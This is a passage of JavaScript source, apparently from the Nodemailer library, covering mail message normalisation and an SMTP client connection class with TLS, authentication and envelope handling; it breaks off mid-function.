keys.push([this.data.alternatives, i]);\n });\n }\n\n if (this.data.attachments && this.data.attachments.length) {\n this.data.attachments.forEach((attachment, i) => {\n if (!attachment.filename) {\n attachment.filename = (attachment.path || attachment.href || '').split('/').pop().split('?').shift() || 'attachment-' + (i + 1);\n if (attachment.filename.indexOf('.') < 0) {\n attachment.filename += '.' + mimeFuncs.detectExtension(attachment.contentType);\n }\n }\n\n if (!attachment.contentType) {\n attachment.contentType = mimeFuncs.detectMimeType(attachment.filename || attachment.path || attachment.href || 'bin');\n }\n\n keys.push([this.data.attachments, i]);\n });\n }\n\n let mimeNode = new MimeNode();\n\n let addressKeys = ['from', 'to', 'cc', 'bcc', 'sender', 'replyTo'];\n\n addressKeys.forEach(address => {\n let value;\n if (this.message) {\n value = [].concat(mimeNode._parseAddresses(this.message.getHeader(address === 'replyTo' ? 'reply-to' : address)) || []);\n } else if (this.data[address]) {\n value = [].concat(mimeNode._parseAddresses(this.data[address]) || []);\n }\n if (value && value.length) {\n this.data[address] = value;\n } else if (address in this.data) {\n this.data[address] = null;\n }\n });\n\n let singleKeys = ['from', 'sender'];\n singleKeys.forEach(address => {\n if (this.data[address]) {\n this.data[address] = this.data[address].shift();\n }\n });\n\n let pos = 0;\n let resolveNext = () => {\n if (pos >= keys.length) {\n return callback(null, this.data);\n }\n let args = keys[pos++];\n if (!args[0] || !args[0][args[1]]) {\n return resolveNext();\n }\n shared.resolveContent(...args, (err, value) => {\n if (err) {\n return callback(err);\n }\n\n let node = {\n content: value\n };\n if (args[0][args[1]] && typeof args[0][args[1]] === 'object' && !Buffer.isBuffer(args[0][args[1]])) {\n Object.keys(args[0][args[1]]).forEach(key => {\n if (!(key in node) && !['content', 'path', 'href', 'raw'].includes(key)) {\n node[key] = args[0][args[1]][key];\n }\n });\n }\n\n args[0][args[1]] = node;\n resolveNext();\n });\n };\n\n setImmediate(() => resolveNext());\n }\n\n normalize(callback) {\n let envelope = this.data.envelope || this.message.getEnvelope();\n let messageId = this.message.messageId();\n\n this.resolveAll((err, data) => {\n if (err) {\n return callback(err);\n }\n\n data.envelope = envelope;\n data.messageId = messageId;\n\n ['html', 'text', 'watchHtml', 'amp'].forEach(key => {\n if (data[key] && data[key].content) {\n if (typeof data[key].content === 'string') {\n data[key] = data[key].content;\n } else if (Buffer.isBuffer(data[key].content)) {\n data[key] = data[key].content.toString();\n }\n }\n });\n\n if (data.icalEvent && Buffer.isBuffer(data.icalEvent.content)) {\n data.icalEvent.content = data.icalEvent.content.toString('base64');\n data.icalEvent.encoding = 'base64';\n }\n\n if (data.alternatives && data.alternatives.length) {\n data.alternatives.forEach(alternative => {\n if (alternative && alternative.content && Buffer.isBuffer(alternative.content)) {\n alternative.content = alternative.content.toString('base64');\n alternative.encoding = 'base64';\n }\n });\n }\n\n if (data.attachments && data.attachments.length) {\n data.attachments.forEach(attachment => {\n if (attachment && attachment.content && Buffer.isBuffer(attachment.content)) {\n attachment.content = attachment.content.toString('base64');\n attachment.encoding = 'base64';\n }\n });\n }\n\n data.normalizedHeaders = {};\n Object.keys(data.headers || {}).forEach(key => {\n let value = [].concat(data.headers[key] || []).shift();\n value = (value && value.value) || value;\n if (value) {\n if (['references', 'in-reply-to', 'message-id', 'content-id'].includes(key)) {\n value = this.message._encodeHeaderValue(key, value);\n }\n data.normalizedHeaders[key] = value;\n }\n });\n\n if (data.list && typeof data.list === 'object') {\n let listHeaders = this._getListHeaders(data.list);\n listHeaders.forEach(entry => {\n data.normalizedHeaders[entry.key] = entry.value.map(val => (val && val.value) || val).join(', ');\n });\n }\n\n if (data.references) {\n data.normalizedHeaders.references = this.message._encodeHeaderValue('references', data.references);\n }\n\n if (data.inReplyTo) {\n data.normalizedHeaders['in-reply-to'] = this.message._encodeHeaderValue('in-reply-to', data.inReplyTo);\n }\n\n return callback(null, data);\n });\n }\n\n setMailerHeader() {\n if (!this.message || !this.data.xMailer) {\n return;\n }\n this.message.setHeader('X-Mailer', this.data.xMailer);\n }\n\n setPriorityHeaders() {\n if (!this.message || !this.data.priority) {\n return;\n }\n switch ((this.data.priority || '').toString().toLowerCase()) {\n case 'high':\n this.message.setHeader('X-Priority', '1 (Highest)');\n this.message.setHeader('X-MSMail-Priority', 'High');\n this.message.setHeader('Importance', 'High');\n break;\n case 'low':\n this.message.setHeader('X-Priority', '5 (Lowest)');\n this.message.setHeader('X-MSMail-Priority', 'Low');\n this.message.setHeader('Importance', 'Low');\n break;\n default:\n // do not add anything, since all messages are 'Normal' by default\n }\n }\n\n setListHeaders() {\n if (!this.message || !this.data.list || typeof this.data.list !== 'object') {\n return;\n }\n // add optional List-* headers\n if (this.data.list && typeof this.data.list === 'object') {\n this._getListHeaders(this.data.list).forEach(listHeader => {\n listHeader.value.forEach(value => {\n this.message.addHeader(listHeader.key, value);\n });\n });\n }\n }\n\n _getListHeaders(listData) {\n // make sure an url looks like <protocol:url>\n return Object.keys(listData).map(key => ({\n key: 'list-' + key.toLowerCase().trim(),\n value: [].concat(listData[key] || []).map(value => ({\n prepared: true,\n foldLines: true,\n value: []\n .concat(value || [])\n .map(value => {\n if (typeof value === 'string') {\n value = {\n url: value\n };\n }\n\n if (value && value.url) {\n if (key.toLowerCase().trim() === 'id') {\n // List-ID: \"comment\" <domain>\n let comment = value.comment || '';\n if (mimeFuncs.isPlainText(comment)) {\n comment = '\"' + comment + '\"';\n } else {\n comment = mimeFuncs.encodeWord(comment);\n }\n\n return (value.comment ? comment + ' ' : '') + this._formatListUrl(value.url).replace(/^<[^:]+\\/{,2}/, '');\n }\n\n // List-*: <http://domain> (comment)\n let comment = value.comment || '';\n if (!mimeFuncs.isPlainText(comment)) {\n comment = mimeFuncs.encodeWord(comment);\n }\n\n return this._formatListUrl(value.url) + (value.comment ? ' (' + comment + ')' : '');\n }\n\n return '';\n })\n .filter(value => value)\n .join(', ')\n }))\n }));\n }\n\n _formatListUrl(url) {\n url = url.replace(/[\\s<]+|[\\s>]+/g, '');\n if (/^(https?|mailto|ftp):/.test(url)) {\n return '<' + url + '>';\n }\n if (/^[^@]+@[^@]+$/.test(url)) {\n return '<mailto:' + url + '>';\n }\n\n return '<http://' + url + '>';\n }\n}\n\nmodule.exports = MailMessage;\n","'use strict';\n\nconst packageInfo = require('../../package.json');\nconst EventEmitter = require('events').EventEmitter;\nconst net = require('net');\nconst tls = require('tls');\nconst os = require('os');\nconst crypto = require('crypto');\nconst DataStream = require('./data-stream');\nconst PassThrough = require('stream').PassThrough;\nconst shared = require('../shared');\n\n// default timeout values in ms\nconst CONNECTION_TIMEOUT = 2 * 60 * 1000; // how much to wait for the connection to be established\nconst SOCKET_TIMEOUT = 10 * 60 * 1000; // how much to wait for socket inactivity before disconnecting the client\nconst GREETING_TIMEOUT = 30 * 1000; // how much to wait after connection is established but SMTP greeting is not receieved\nconst DNS_TIMEOUT = 30 * 1000; // how much to wait for resolveHostname\n\n/**\n * Generates a SMTP connection object\n *\n * Optional options object takes the following possible properties:\n *\n * * **port** - is the port to connect to (defaults to 587 or 465)\n * * **host** - is the hostname or IP address to connect to (defaults to 'localhost')\n * * **secure** - use SSL\n * * **ignoreTLS** - ignore server support for STARTTLS\n * * **requireTLS** - forces the client to use STARTTLS\n * * **name** - the name of the client server\n * * **localAddress** - outbound address to bind to (see: http://nodejs.org/api/net.html#net_net_connect_options_connectionlistener)\n * * **greetingTimeout** - Time to wait in ms until greeting message is received from the server (defaults to 10000)\n * * **connectionTimeout** - how many milliseconds to wait for the connection to establish\n * * **socketTimeout** - Time of inactivity until the connection is closed (defaults to 1 hour)\n * * **dnsTimeout** - Time to wait in ms for the DNS requests to be resolved (defaults to 30 seconds)\n * * **lmtp** - if true, uses LMTP instead of SMTP protocol\n * * **logger** - bunyan compatible logger interface\n * * **debug** - if true pass SMTP traffic to the logger\n * * **tls** - options for createCredentials\n * * **socket** - existing socket to use instead of creating a new one (see: http://nodejs.org/api/net.html#net_class_net_socket)\n * * **secured** - boolean indicates that the provided socket has already been upgraded to tls\n *\n * @constructor\n * @namespace SMTP Client module\n * @param {Object} [options] Option properties\n */\nclass SMTPConnection extends EventEmitter {\n constructor(options) {\n super(options);\n\n this.id = crypto.randomBytes(8).toString('base64').replace(/\\W/g, '');\n this.stage = 'init';\n\n this.options = options || {};\n\n this.secureConnection = !!this.options.secure;\n this.alreadySecured = !!this.options.secured;\n\n this.port = Number(this.options.port) || (this.secureConnection ? 465 : 587);\n this.host = this.options.host || 'localhost';\n\n this.servername = this.options.servername ? this.options.servername : !net.isIP(this.host) ? this.host : false;\n\n this.allowInternalNetworkInterfaces = this.options.allowInternalNetworkInterfaces || false;\n\n if (typeof this.options.secure === 'undefined' && this.port === 465) {\n // if secure option is not set but port is 465, then default to secure\n this.secureConnection = true;\n }\n\n this.name = this.options.name || this._getHostname();\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'smtp-connection',\n sid: this.id\n });\n\n this.customAuth = new Map();\n Object.keys(this.options.customAuth || {}).forEach(key => {\n let mapKey = (key || '').toString().trim().toUpperCase();\n if (!mapKey) {\n return;\n }\n this.customAuth.set(mapKey, this.options.customAuth[key]);\n });\n\n /**\n * Expose version nr, just for the reference\n * @type {String}\n */\n this.version = packageInfo.version;\n\n /**\n * If true, then the user is authenticated\n * @type {Boolean}\n */\n this.authenticated = false;\n\n /**\n * If set to true, this instance is no longer active\n * @private\n */\n this.destroyed = false;\n\n /**\n * Defines if the current connection is secure or not. If not,\n * STARTTLS can be used if available\n * @private\n */\n this.secure = !!this.secureConnection;\n\n /**\n * Store incomplete messages coming from the server\n * @private\n */\n this._remainder = '';\n\n /**\n * Unprocessed responses from the server\n * @type {Array}\n */\n this._responseQueue = [];\n\n this.lastServerResponse = false;\n\n /**\n * The socket connecting to the server\n * @publick\n */\n this._socket = false;\n\n /**\n * Lists supported auth mechanisms\n * @private\n */\n this._supportedAuth = [];\n\n /**\n * Set to true, if EHLO response includes \"AUTH\".\n * If false then authentication is not tried\n */\n this.allowsAuth = false;\n\n /**\n * Includes current envelope (from, to)\n * @private\n */\n this._envelope = false;\n\n /**\n * Lists supported extensions\n * @private\n */\n this._supportedExtensions = [];\n\n /**\n * Defines the maximum allowed size for a single message\n * @private\n */\n this._maxAllowedSize = 0;\n\n /**\n * Function queue to run if a data chunk comes from the server\n * @private\n */\n this._responseActions = [];\n this._recipientQueue = [];\n\n /**\n * Timeout variable for waiting the greeting\n * @private\n */\n this._greetingTimeout = false;\n\n /**\n * Timeout variable for waiting the connection to start\n * @private\n */\n this._connectionTimeout = false;\n\n /**\n * If the socket is deemed already closed\n * @private\n */\n this._destroyed = false;\n\n /**\n * If the socket is already being closed\n * @private\n */\n this._closing = false;\n\n /**\n * Callbacks for socket's listeners\n */\n this._onSocketData = chunk => this._onData(chunk);\n this._onSocketError = error => this._onError(error, 'ESOCKET', false, 'CONN');\n this._onSocketClose = () => this._onClose();\n this._onSocketEnd = () => this._onEnd();\n this._onSocketTimeout = () => this._onTimeout();\n }\n\n /**\n * Creates a connection to a SMTP server and sets up connection\n * listener\n */\n connect(connectCallback) {\n if (typeof connectCallback === 'function') {\n this.once('connect', () => {\n this.logger.debug(\n {\n tnx: 'smtp'\n },\n 'SMTP handshake finished'\n );\n connectCallback();\n });\n\n const isDestroyedMessage = this._isDestroyedMessage('connect');\n if (isDestroyedMessage) {\n return connectCallback(this._formatError(isDestroyedMessage, 'ECONNECTION', false, 'CONN'));\n }\n }\n\n let opts = {\n port: this.port,\n host: this.host,\n allowInternalNetworkInterfaces: this.allowInternalNetworkInterfaces,\n timeout: this.options.dnsTimeout || DNS_TIMEOUT\n };\n\n if (this.options.localAddress) {\n opts.localAddress = this.options.localAddress;\n }\n\n let setupConnectionHandlers = () => {\n this._connectionTimeout = setTimeout(() => {\n this._onError('Connection timeout', 'ETIMEDOUT', false, 'CONN');\n }, this.options.connectionTimeout || CONNECTION_TIMEOUT);\n\n this._socket.on('error', this._onSocketError);\n };\n\n if (this.options.connection) {\n // connection is already opened\n this._socket = this.options.connection;\n if (this.secureConnection && !this.alreadySecured) {\n setImmediate(() =>\n this._upgradeConnection(err => {\n if (err) {\n this._onError(new Error('Error initiating TLS - ' + (err.message || err)), 'ETLS', false, 'CONN');\n return;\n }\n this._onConnect();\n })\n );\n } else {\n setImmediate(() => this._onConnect());\n }\n return;\n } else if (this.options.socket) {\n // socket object is set up but not yet connected\n this._socket = this.options.socket;\n return shared.resolveHostname(opts, (err, resolved) => {\n if (err) {\n return setImmediate(() => this._onError(err, 'EDNS', false, 'CONN'));\n }\n this.logger.debug(\n {\n tnx: 'dns',\n source: opts.host,\n resolved: resolved.host,\n cached: !!resolved.cached\n },\n 'Resolved %s as %s [cache %s]',\n opts.host,\n resolved.host,\n resolved.cached ? 'hit' : 'miss'\n );\n Object.keys(resolved).forEach(key => {\n if (key.charAt(0) !== '_' && resolved[key]) {\n opts[key] = resolved[key];\n }\n });\n try {\n this._socket.connect(this.port, this.host, () => {\n this._socket.setKeepAlive(true);\n this._onConnect();\n });\n setupConnectionHandlers();\n } catch (E) {\n return setImmediate(() => this._onError(E, 'ECONNECTION', false, 'CONN'));\n }\n });\n } else if (this.secureConnection) {\n // connect using tls\n if (this.options.tls) {\n Object.keys(this.options.tls).forEach(key => {\n opts[key] = this.options.tls[key];\n });\n }\n\n // ensure servername for SNI\n if (this.servername && !opts.servername) {\n opts.servername = this.servername;\n }\n\n return shared.resolveHostname(opts, (err, resolved) => {\n if (err) {\n return setImmediate(() => this._onError(err, 'EDNS', false, 'CONN'));\n }\n this.logger.debug(\n {\n tnx: 'dns',\n source: opts.host,\n resolved: resolved.host,\n cached: !!resolved.cached\n },\n 'Resolved %s as %s [cache %s]',\n opts.host,\n resolved.host,\n resolved.cached ? 'hit' : 'miss'\n );\n Object.keys(resolved).forEach(key => {\n if (key.charAt(0) !== '_' && resolved[key]) {\n opts[key] = resolved[key];\n }\n });\n try {\n this._socket = tls.connect(opts, () => {\n this._socket.setKeepAlive(true);\n this._onConnect();\n });\n setupConnectionHandlers();\n } catch (E) {\n return setImmediate(() => this._onError(E, 'ECONNECTION', false, 'CONN'));\n }\n });\n } else {\n // connect using plaintext\n return shared.resolveHostname(opts, (err, resolved) => {\n if (err) {\n return setImmediate(() => this._onError(err, 'EDNS', false, 'CONN'));\n }\n this.logger.debug(\n {\n tnx: 'dns',\n source: opts.host,\n resolved: resolved.host,\n cached: !!resolved.cached\n },\n 'Resolved %s as %s [cache %s]',\n opts.host,\n resolved.host,\n resolved.cached ? 'hit' : 'miss'\n );\n Object.keys(resolved).forEach(key => {\n if (key.charAt(0) !== '_' && resolved[key]) {\n opts[key] = resolved[key];\n }\n });\n try {\n this._socket = net.connect(opts, () => {\n this._socket.setKeepAlive(true);\n this._onConnect();\n });\n setupConnectionHandlers();\n } catch (E) {\n return setImmediate(() => this._onError(E, 'ECONNECTION', false, 'CONN'));\n }\n });\n }\n }\n\n /**\n * Sends QUIT\n */\n quit() {\n this._sendCommand('QUIT');\n this._responseActions.push(this.close);\n }\n\n /**\n * Closes the connection to the server\n */\n close() {\n clearTimeout(this._connectionTimeout);\n clearTimeout(this._greetingTimeout);\n this._responseActions = [];\n\n // allow to run this function only once\n if (this._closing) {\n return;\n }\n this._closing = true;\n\n let closeMethod = 'end';\n\n if (this.stage === 'init') {\n // Close the socket immediately when connection timed out\n closeMethod = 'destroy';\n }\n\n this.logger.debug(\n {\n tnx: 'smtp'\n },\n 'Closing connection to the server using \"%s\"',\n closeMethod\n );\n\n let socket = (this._socket && this._socket.socket) || this._socket;\n\n if (socket && !socket.destroyed) {\n try {\n this._socket[closeMethod]();\n } catch (E) {\n // just ignore\n }\n }\n\n this._destroy();\n }\n\n /**\n * Authenticate user\n */\n login(authData, callback) {\n const isDestroyedMessage = this._isDestroyedMessage('login');\n if (isDestroyedMessage) {\n return callback(this._formatError(isDestroyedMessage, 'ECONNECTION', false, 'API'));\n }\n\n this._auth = authData || {};\n // Select SASL authentication method\n this._authMethod = (this._auth.method || '').toString().trim().toUpperCase() || false;\n\n if (!this._authMethod && this._auth.oauth2 && !this._auth.credentials) {\n this._authMethod = 'XOAUTH2';\n } else if (!this._authMethod || (this._authMethod === 'XOAUTH2' && !this._auth.oauth2)) {\n // use first supported\n this._authMethod = (this._supportedAuth[0] || 'PLAIN').toUpperCase().trim();\n }\n\n if (this._authMethod !== 'XOAUTH2' && (!this._auth.credentials || !this._auth.credentials.user || !this._auth.credentials.pass)) {\n if ((this._auth.user && this._auth.pass) || this.customAuth.has(this._authMethod)) {\n this._auth.credentials = {\n user: this._auth.user,\n pass: this._auth.pass,\n options: this._auth.options\n };\n } else {\n return callback(this._formatError('Missing credentials for \"' + this._authMethod + '\"', 'EAUTH', false, 'API'));\n }\n }\n\n if (this.customAuth.has(this._authMethod)) {\n let handler = this.customAuth.get(this._authMethod);\n let lastResponse;\n let returned = false;\n\n let resolve = () => {\n if (returned) {\n return;\n }\n returned = true;\n this.logger.info(\n {\n tnx: 'smtp',\n username: this._auth.user,\n action: 'authenticated',\n method: this._authMethod\n },\n 'User %s authenticated',\n JSON.stringify(this._auth.user)\n );\n this.authenticated = true;\n callback(null, true);\n };\n\n let reject = err => {\n if (returned) {\n return;\n }\n returned = true;\n callback(this._formatError(err, 'EAUTH', lastResponse, 'AUTH ' + this._authMethod));\n };\n\n let handlerResponse = handler({\n auth: this._auth,\n method: this._authMethod,\n\n extensions: [].concat(this._supportedExtensions),\n authMethods: [].concat(this._supportedAuth),\n maxAllowedSize: this._maxAllowedSize || false,\n\n sendCommand: (cmd, done) => {\n let promise;\n\n if (!done) {\n promise = new Promise((resolve, reject) => {\n done = shared.callbackPromise(resolve, reject);\n });\n }\n\n this._responseActions.push(str => {\n lastResponse = str;\n\n let codes = str.match(/^(\\d+)(?:\\s(\\d+\\.\\d+\\.\\d+))?\\s/);\n let data = {\n command: cmd,\n response: str\n };\n if (codes) {\n data.status = Number(codes[1]) || 0;\n if (codes[2]) {\n data.code = codes[2];\n }\n data.text = str.substr(codes[0].length);\n } else {\n data.text = str;\n data.status = 0; // just in case we need to perform numeric comparisons\n }\n done(null, data);\n });\n setImmediate(() => this._sendCommand(cmd));\n\n return promise;\n },\n\n resolve,\n reject\n });\n\n if (handlerResponse && typeof handlerResponse.catch === 'function') {\n // a promise was returned\n handlerResponse.then(resolve).catch(reject);\n }\n\n return;\n }\n\n switch (this._authMethod) {\n case 'XOAUTH2':\n this._handleXOauth2Token(false, callback);\n return;\n case 'LOGIN':\n this._responseActions.push(str => {\n this._actionAUTH_LOGIN_USER(str, callback);\n });\n this._sendCommand('AUTH LOGIN');\n return;\n case 'PLAIN':\n this._responseActions.push(str => {\n this._actionAUTHComplete(str, callback);\n });\n this._sendCommand(\n 'AUTH PLAIN ' +\n Buffer.from(\n //this._auth.user+'\\u0000'+\n '\\u0000' + // skip authorization identity as it causes problems with some servers\n this._auth.credentials.user +\n '\\u0000' +\n this._auth.credentials.pass,\n 'utf-8'\n ).toString('base64'),\n // log entry without passwords\n 'AUTH PLAIN ' +\n Buffer.from(\n //this._auth.user+'\\u0000'+\n '\\u0000' + // skip authorization identity as it causes problems with some servers\n this._auth.credentials.user +\n '\\u0000' +\n '/* secret */',\n 'utf-8'\n ).toString('base64')\n );\n return;\n case 'CRAM-MD5':\n this._responseActions.push(str => {\n this._actionAUTH_CRAM_MD5(str, callback);\n });\n this._sendCommand('AUTH CRAM-MD5');\n return;\n }\n\n return callback(this._formatError('Unknown authentication method \"' + this._authMethod + '\"', 'EAUTH', false, 'API'));\n }\n\n /**\n * Sends a message\n *\n * @param {Object} envelope Envelope object, {from: addr, to: [addr]}\n * @param {Object} message String, Buffer or a Stream\n * @param {Function} callback Callback to return once sending is completed\n */\n send(envelope, message, done) {\n if (!message) {\n return done(this._formatError('Empty message', 'EMESSAGE', false, 'API'));\n }\n\n const isDestroyedMessage = this._isDestroyedMessage('send message');\n if (isDestroyedMessage) {\n return done(this._formatError(isDestroyedMessage, 'ECONNECTION', false, 'API'));\n }\n\n // reject larger messages than allowed\n if (this._maxAllowedSize && envelope.size > this._maxAllowedSize) {\n return setImmediate(() => {\n done(this._formatError('Message size larger than allowed ' + this._maxAllowedSize, 'EMESSAGE', false, 'MAIL FROM'));\n });\n }\n\n // ensure that callback is only called once\n let returned = false;\n let callback = function () {\n if (returned) {\n return;\n }\n returned = true;\n\n done(...arguments);\n };\n\n if (typeof message.on === 'function') {\n message.on('error', err => callback(this._formatError(err, 'ESTREAM', false, 'API')));\n }\n\n let startTime = Date.now();\n this._setEnvelope(envelope, (err, info) => {\n if (err) {\n // create passthrough stream to consume to prevent OOM\n let stream = new PassThrough();\n if (typeof message.pipe === 'function') {\n message.pipe(stream);\n } else {\n stream.write(message);\n stream.end();\n }\n \n return callback(err);\n }\n let envelopeTime = Date.now();\n let stream = this._createSendStream((err, str) => {\n if (err) {\n return callback(err);\n }\n\n info.envelopeTime = envelopeTime - startTime;\n info.messageTime = Date.now() - envelopeTime;\n info.messageSize = stream.outByteCount;\n info.response = str;\n\n return callback(null, info);\n });\n if (typeof message.pipe === 'function') {\n message.pipe(stream);\n } else {\n stream.write(message);\n stream.end();\n }\n });\n }\n\n /**\n * Resets connection state\n *\n * @param {Function} callback Callback to return once connection is reset\n */\n reset(callback) {\n this._sendCommand('RSET');\n this._responseActions.push(str => {\n if (str.charAt(0) !== '2') {\n return callback(this._formatError('Could not reset session state. response=' + str, 'EPROTOCOL', str, 'RSET'));\n }\n this._envelope = false;\n return callback(null, true);\n });\n }\n\n /**\n * Connection listener that is run when the connection to\n * the server is opened\n *\n * @event\n */\n _onConnect() {\n clearTimeout(this._connectionTimeout);\n\n this.logger.info(\n {\n tnx: 'network',\n localAddress: this._socket.localAddress,\n localPort: this._socket.localPort,\n remoteAddress: this._socket.remoteAddress,\n remotePort: this._socket.remotePort\n },\n '%s established to %s:%s',\n this.secure ? 'Secure connection' : 'Connection',\n this._socket.remoteAddress,\n this._socket.remotePort\n );\n\n if (this._destroyed) {\n // Connection was established after we already had canceled it\n this.close();\n return;\n }\n\n this.stage = 'connected';\n\n // clear existing listeners for the socket\n this._socket.removeListener('data', this._onSocketData);\n this._socket.removeListener('timeout', this._onSocketTimeout);\n this._socket.removeListener('close', this._onSocketClose);\n this._socket.removeListener('end', this._onSocketEnd);\n\n this._socket.on('data', this._onSocketData);\n this._socket.once('close', this._onSocketClose);\n this._socket.once('end', this._onSocketEnd);\n\n this._socket.setTimeout(this.options.socketTimeout || SOCKET_TIMEOUT);\n this._socket.on('timeout', this._onSocketTimeout);\n\n this._greetingTimeout = setTimeout(() => {\n // if still waiting for greeting, give up\n if (this._socket && !this._destroyed && this._responseActions[0] === this._actionGreeting) {\n this._onError('Greeting never received', 'ETIMEDOUT', false, 'CONN');\n }\n }, this.options.greetingTimeout || GREETING_TIMEOUT);\n\n this._responseActions.push(this._actionGreeting);\n\n // we have a 'data' listener set up so resume socket if it was paused\n this._socket.resume();\n }\n\n /**\n * 'data' listener for data coming from the server\n *\n * @event\n * @param {Buffer} chunk Data chunk coming from the server\n */\n _onData(chunk) {\n if (this._destroyed || !chunk || !chunk.length) {\n return;\n }\n\n let data = (chunk || '').toString('binary');\n let lines = (this._remainder + data).split(/\\r?\\n/);\n let lastline;\n\n this._remainder = lines.pop();\n\n for (let i = 0, len = lines.length; i < len; i++) {\n if (this._responseQueue.length) {\n lastline = this._responseQueue[this._responseQueue.length - 1];\n if (/^\\d+-/.test(lastline.split('\\n').pop())) {\n this._responseQueue[this._responseQueue.length - 1] += '\\n' + lines[i];\n continue;\n }\n }\n this._responseQueue.push(lines[i]);\n }\n\n if (this._responseQueue.length) {\n lastline = this._responseQueue[this._responseQueue.length - 1];\n if (/^\\d+-/.test(lastline.split('\\n').pop())) {\n return;\n }\n }\n\n this._processResponse();\n }\n\n /**\n * 'error' listener for the socket\n *\n * @event\n * @param {Error} err Error object\n * @param {String} type Error name\n */\n _onError(err, type, data, command) {\n clearTimeout(this._connectionTimeout);\n clearTimeout(this._greetingTimeout);\n\n if (this._destroyed) {\n // just ignore, already closed\n // this might happen when a socket is canceled because of reached timeout\n // but the socket timeout error itself receives only after\n return;\n }\n\n err = this._formatError(err, type, data, command);\n\n this.logger.error(data, err.message);\n\n this.emit('error', err);\n this.close();\n }\n\n _formatError(message, type, response, command) {\n let err;\n\n if (/Error\\]$/i.test(Object.prototype.toString.call(message))) {\n err = message;\n } else {\n err = new Error(message);\n }\n\n if (type && type !== 'Error') {\n err.code = type;\n }\n\n if (response) {\n err.response = response;\n err.message += ': ' + response;\n }\n\n let responseCode = (typeof response === 'string' && Number((response.match(/^\\d+/) || [])[0])) || false;\n if (responseCode) {\n err.responseCode = responseCode;\n }\n\n if (command) {\n err.command = command;\n }\n\n return err;\n }\n\n /**\n * 'close' listener for the socket\n *\n * @event\n */\n _onClose() {\n let serverResponse = false;\n\n if (this._remainder && this._remainder.trim()) {\n if (this.options.debug || this.options.transactionLog) {\n this.logger.debug(\n {\n tnx: 'server'\n },\n this._remainder.replace(/\\r?\\n$/, '')\n );\n }\n this.lastServerResponse = serverResponse = this._remainder.trim();\n }\n\n this.logger.info(\n {\n tnx: 'network'\n },\n 'Connection closed'\n );\n\n if (this.upgrading && !this._destroyed) {\n return this._onError(new Error('Connection closed unexpectedly'), 'ETLS', serverResponse, 'CONN');\n } else if (![this._actionGreeting, this.close].includes(this._responseActions[0]) && !this._destroyed) {\n return this._onError(new Error('Connection closed unexpectedly'), 'ECONNECTION', serverResponse, 'CONN');\n } else if (/^[45]\\d{2}\\b/.test(serverResponse)) {\n return this._onError(new Error('Connection closed unexpectedly'), 'ECONNECTION', serverResponse, 'CONN');\n }\n\n this._destroy();\n }\n\n /**\n * 'end' listener for the socket\n *\n * @event\n */\n _onEnd() {\n if (this._socket && !this._socket.destroyed) {\n this._socket.destroy();\n }\n }\n\n /**\n * 'timeout' listener for the socket\n *\n * @event\n */\n _onTimeout() {\n return this._onError(new Error('Timeout'), 'ETIMEDOUT', false, 'CONN');\n }\n\n /**\n * Destroys the client, emits 'end'\n */\n _destroy() {\n if (this._destroyed) {\n return;\n }\n this._destroyed = true;\n this.emit('end');\n }\n\n /**\n * Upgrades the connection to TLS\n *\n * @param {Function} callback Callback function to run when the connection\n * has been secured\n */\n _upgradeConnection(callback) {\n // do not remove all listeners or it breaks node v0.10 as there's\n // apparently a 'finish' event set that would be cleared as well\n\n // we can safely keep 'error', 'end', 'close' etc. events\n this._socket.removeListener('data', this._onSocketData); // incoming data is going to be gibberish from this point onwards\n this._socket.removeListener('timeout', this._onSocketTimeout); // timeout will be re-set for the new socket object\n\n let socketPlain = this._socket;\n let opts = {\n socket: this._socket,\n host: this.host\n };\n\n Object.keys(this.options.tls || {}).forEach(key => {\n opts[key] = this.options.tls[key];\n });\n\n // ensure servername for SNI\n if (this.servername && !opts.servername) {\n opts.servername = this.servername;\n }\n\n this.upgrading = true;\n // tls.connect is not an asynchronous function however it may still throw errors and requires to be wrapped with try/catch\n try {\n this._socket = tls.connect(opts, () => {\n this.secure = true;\n this.upgrading = false;\n this._socket.on('data', this._onSocketData);\n\n socketPlain.removeListener('close', this._onSocketClose);\n socketPlain.removeListener('end', this._onSocketEnd);\n\n return callback(null, true);\n });\n } catch (err) {\n return callback(err);\n }\n\n this._socket.on('error', this._onSocketError);\n this._socket.once('close', this._onSocketClose);\n this._socket.once('end', this._onSocketEnd);\n\n this._socket.setTimeout(this.options.socketTimeout || SOCKET_TIMEOUT); // 10 min.\n this._socket.on('timeout', this._onSocketTimeout);\n\n // resume in case the socket was paused\n socketPlain.resume();\n }\n\n /**\n * Processes queued responses from the server\n *\n * @param {Boolean} force If true, ignores _processing flag\n */\n _processResponse() {\n if (!this._responseQueue.length) {\n return false;\n }\n\n let str = (this.lastServerResponse = (this._responseQueue.shift() || '').toString());\n\n if (/^\\d+-/.test(str.split('\\n').pop())) {\n // keep waiting for the final part of multiline response\n return;\n }\n\n if (this.options.debug || this.options.transactionLog) {\n this.logger.debug(\n {\n tnx: 'server'\n },\n str.replace(/\\r?\\n$/, '')\n );\n }\n\n if (!str.trim()) {\n // skip unexpected empty lines\n setImmediate(() => this._processResponse());\n }\n\n let action = this._responseActions.shift();\n\n if (typeof action === 'function') {\n action.call(this, str);\n setImmediate(() => this._processResponse());\n } else {\n return this._onError(new Error('Unexpected Response'), 'EPROTOCOL', str, 'CONN');\n }\n }\n\n /**\n * Send a command to the server, append \\r\\n\n *\n * @param {String} str String to be sent to the server\n * @param {String} logStr Optional string to be used for logging instead of the actual string\n */\n _sendCommand(str, logStr) {\n if (this._destroyed) {\n // Connection already closed, can't send any more data\n return;\n }\n\n if (this._socket.destroyed) {\n return this.close();\n }\n\n if (this.options.debug || this.options.transactionLog) {\n this.logger.debug(\n {\n tnx: 'client'\n },\n (logStr || str || '').toString().replace(/\\r?\\n$/, '')\n );\n }\n\n this._socket.write(Buffer.from(str + '\\r\\n', 'utf-8'));\n }\n\n /**\n * Initiates a new message by submitting envelope data, starting with\n * MAIL FROM: command\n *\n * @param {Object} envelope Envelope object in the form of\n * {from:'...', to:['...']}\n * or\n * {from:{address:'...',name:'...'}, to:[address:'...',name:'...']}\n */\n _setEnvelope(envelope, callback) {\n let args = [];\n let useSmtpUtf8 = false;\n\n this._envelope = envelope || {};\n this._envelope.from = ((this._envelope.from && this._envelope.from.address) || this._envelope.from || '').toString().trim();\n\n this._envelope.to = [].concat(this._envelope.to || []).map(to => ((to && to.address) || to || '').toString().trim());\n\n if (!this._envelope.to.length) {\n return callback(this._formatError('No recipients defined', 'EENVELOPE', false, 'API'));\n }\n\n if (this._envelope.from && /[\\r\\n<>]/.test(this._envelope.from)) {\n 